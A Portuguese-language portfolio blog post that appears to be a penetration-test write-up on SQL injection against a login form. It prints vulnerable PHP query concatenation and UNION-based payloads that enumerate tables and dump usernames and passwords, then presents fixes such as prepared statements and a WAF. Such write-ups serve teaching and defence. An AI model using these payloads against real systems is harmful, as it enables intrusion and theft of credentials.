Leandro Gabriel

Portfólio
20:48:28
📍 Goiânia, BR
🌙
Work

Web Security: SQL Injection em Aplicação Real

February 20, 2024
Este write-up documenta a descoberta e exploração de uma vulnerabilidade de SQL Injection em uma aplicação web real. O objetivo era demonstrar como vulnerabilidades comuns podem ser exploradas e como implementar correções adequadas. Durante um teste de penetração, foi identificada uma aplicação web com funcionalidade de login. A análise inicial revelou que a aplicação não implementava validação adequada de entrada.
Sql
-- Payload de teste inicial
' OR '1'='1
A aplicação retornou todos os registros da tabela, confirmando a presença de SQL Injection.
Php
// Código original vulnerável
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query);
  1. Boolean-based Injection: Determinação de informações através de respostas booleanas
  2. Union-based Injection: Extração de dados usando UNION
  3. Time-based Injection: Exploração baseada em tempo de resposta
  4. Error-based Injection: Extração de informações através de erros
  • Burp Suite: Proxy para interceptação de requisições
  • SQLMap: Automação de testes de SQL Injection
  • OWASP ZAP: Scanner de vulnerabilidades
  • Python: Scripts customizados para exploração
Sql
-- Determinar número de colunas
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--

-- Extrair informações do banco
' UNION SELECT 1,2,3,4--
' UNION SELECT 1,2,3,@@version--
Sql
-- Listar tabelas
' UNION SELECT 1,2,3,table_name FROM information_schema.tables--

-- Extrair dados de usuários
' UNION SELECT 1,2,3,concat(username,':',password) FROM users--
Sql
-- Verificar privilégios
' UNION SELECT 1,2,3,user()--
' UNION SELECT 1,2,3,super_priv FROM mysql.user WHERE user='root'--
  • Dados extraídos: 1500+ registros de usuários
  • Acesso administrativo: Obtenção de credenciais admin
  • Informações sensíveis: Exposição de dados pessoais
  • Documentação completa: Processo totalmente documentado
Php
// Código corrigido usando prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
Php
// Validação e sanitização
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
$password = filter_var($_POST['password'], FILTER_SANITIZE_STRING);
  • ModSecurity: Regras customizadas para detecção
  • Rate Limiting: Limitação de tentativas de login
  • Logging: Registro de tentativas suspeitas
  1. Importância da Validação: Sempre validar e sanitizar entradas
  2. Prepared Statements: Uso obrigatório para consultas dinâmicas
  3. Defesa em Profundidade: Múltiplas camadas de proteção
  4. Monitoramento: Implementação de logs e alertas
  • OWASP Top 10: Seguir as melhores práticas
  • Code Review: Análise estática de código
  • Penetration Testing: Testes regulares de segurança
  • Security Training: Treinamento da equipe de desenvolvimento
Este write-up demonstra como vulnerabilidades comuns como SQL Injection podem ter impacto significativo em aplicações web. A implementação de correções adequadas e práticas de segurança é fundamental para proteger dados sensíveis.
On this page